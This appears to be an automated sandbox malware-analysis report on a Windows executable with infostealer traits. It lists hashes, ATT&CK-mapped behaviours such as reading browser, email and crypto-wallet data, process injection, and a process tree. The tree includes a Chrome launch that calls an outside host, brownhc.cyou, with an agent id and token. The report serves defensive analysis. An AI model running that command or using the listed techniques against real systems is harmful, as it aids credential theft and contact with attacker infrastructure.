Analysis
- max time kernel
900s - max time network
472s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/06/2026, 01:01
Behavioral task
behavioral1
Sample
4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe
Resource
win10v2004-20260513-en
16 signatures
900 seconds
General
- Target 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe
- Size 330KB
- Sample260623-bdcp9ah131
- SHA256 d1eb25b5a4f0134c100539242af892aa8b0342572575ecf4e9ec81a413524fee
- MD5 5aa216596ec9d113dfae69531b0b87a4
- SHA1 fca8d70a7f4cb36b345deed3f6e4629238d74d4b
- SHA512 5c400ff30621daab02e72f1f85819985d9a7e7764750d030b697db8e99d14f61b4bdbfbc21d34141052f6a07a9fe0160c069d035ce8a1295b2eb380cf01a74ac
- SSDEEP 6144:YRLI6zZvCw5/8m5RtUHD2zSnK90dK7KDhAoK4Yeh9bDvJFeO11WX:ATj50mhUCzSKGPlAoK4YehVvJFef
- TLSH T188748D4AE7B748B1E5470975229FB33F9B2416144328CDDBDFE0CB447A33AE26539A06
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 3404 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 792 chrome.exe 792 chrome.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
pid Process 792 chrome.exe 792 chrome.exe - Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeShutdownPrivilege 792 chrome.exe Token: SeCreatePagefilePrivilege 792 chrome.exe Token: SeShutdownPrivilege 792 chrome.exe Token: SeCreatePagefilePrivilege 792 chrome.exe Token: SeShutdownPrivilege 792 chrome.exe Token: SeCreatePagefilePrivilege 792 chrome.exe Token: SeShutdownPrivilege 792 chrome.exe Token: SeCreatePagefilePrivilege 792 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe 792 chrome.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3664 wrote to memory of 792 3664 4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe 89 PID 792 wrote to memory of 5952 792 chrome.exe 90 PID 792 wrote to memory of 5204 792 chrome.exe 91 PID 792 wrote to memory of 5204 792 chrome.exe 91 PID 792 wrote to memory of 3404 792 chrome.exe 92 PID 792 wrote to memory of 1980 792 chrome.exe 93 PID 792 wrote to memory of 1980 792 chrome.exe 93 PID 792 wrote to memory of 5568 792 chrome.exe 94 PID 792 wrote to memory of 5568 792 chrome.exe 94 PID 792 wrote to memory of 5456 792 chrome.exe 95 PID 792 wrote to memory of 5456 792 chrome.exe 95 PID 792 wrote to memory of 3308 792 chrome.exe 97 PID 792 wrote to memory of 3308 792 chrome.exe 97 PID 792 wrote to memory of 2720 792 chrome.exe 98 PID 792 wrote to memory of 2720 792 chrome.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe"C:\Users\Admin\AppData\Local\Temp\4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" brownhc.cyou/api/set_agent?id=5FE51177BD24956701AEC7B30ADF174C&token=9e67cf29a57d4c0b5161ec4c3a91&description=&agent=Chrome2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:792 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff5331c728,0x7fff5331c734,0x7fff5331c7403⤵PID:5952
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1636,i,17828003385563671504,9113942231465535212,262144 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=1924 /prefetch:23⤵PID:5204
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1500,i,10664668560597256442,4025156513208130642,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:113⤵
- System Time Discovery
PID:3404
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2352,i,17402198492041249237,9725136434200050527,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:133⤵PID:1980
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3092,i,13940916062004553084,984728145208051189,2097152 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:13⤵PID:5568
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3100,i,13533296400415228341,8759838698276252011,2097152 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:13⤵PID:5456
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4576,i,18389853823553629953,17703052154843446607,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:143⤵PID:3308
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4600,i,16470783383354654398,13665320114551005152,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:123⤵PID:2720
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:352
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C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵PID:4192
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
- Size 20KB
- SHA256 b116d424cb7f8ebdaacb602440b6c91e4f75dc09a4d931a4481f054da9a5b818
- MD5 31271e52d5c1593723f74fbff8f1f97a
- SHA1 a5b6c2d1ab9839f9600c000fa53a8088b95d5090
- SHA512 b57096bce8d480e6e8f7228de3dcdd899ab811578adcbcdeffa6841bf04fd4ee5c9442a440958f9917723b53e2f28c32c6a4f557e3e34679bf8e2bccffa72be1
- SSDEEP 24:TL/91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBNd5pcF1MY/KYMIj:Tb9aw/aHLopFMavU1iBNH6FOYC5e
- TLSH T12F920E8E5F303220D4F48776E9D1455B1E7C222C93336AD9EE4428F29DD69AFF5050B6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 4KB
- SHA256 503f9861b091ea9beb0eebdff9d93653781b47423705a9dd09e4296dd5cd4475
- MD5 ed70b75e833ddcc67c723b78e5256a22
- SHA1 d4223cfbed09c5452eb98b8b50ae3db5d828a835
- SHA512 1a2d565ccd17eac4531126435d3337deb038898cb83886130d329a4179ce84519d795504d1dc76ccd49b6476d3078063611b77514c9affc2cdb97d9dc08f50bc
- SSDEEP 96:zC6kd+q/o6Oe4rRfPd6NdjRDotok5hpwDMB6EGyvsaKicTU0b7v4a:zC7x/oj1QJDUDbGAoycTU0bf
- TLSH T18FA1093364688C7789B6D5C576473F438EB861ABE552AF90E8DD9E0C60B78EC1342623
- MD5 SHA1 SHA512 SSDEEP TLSH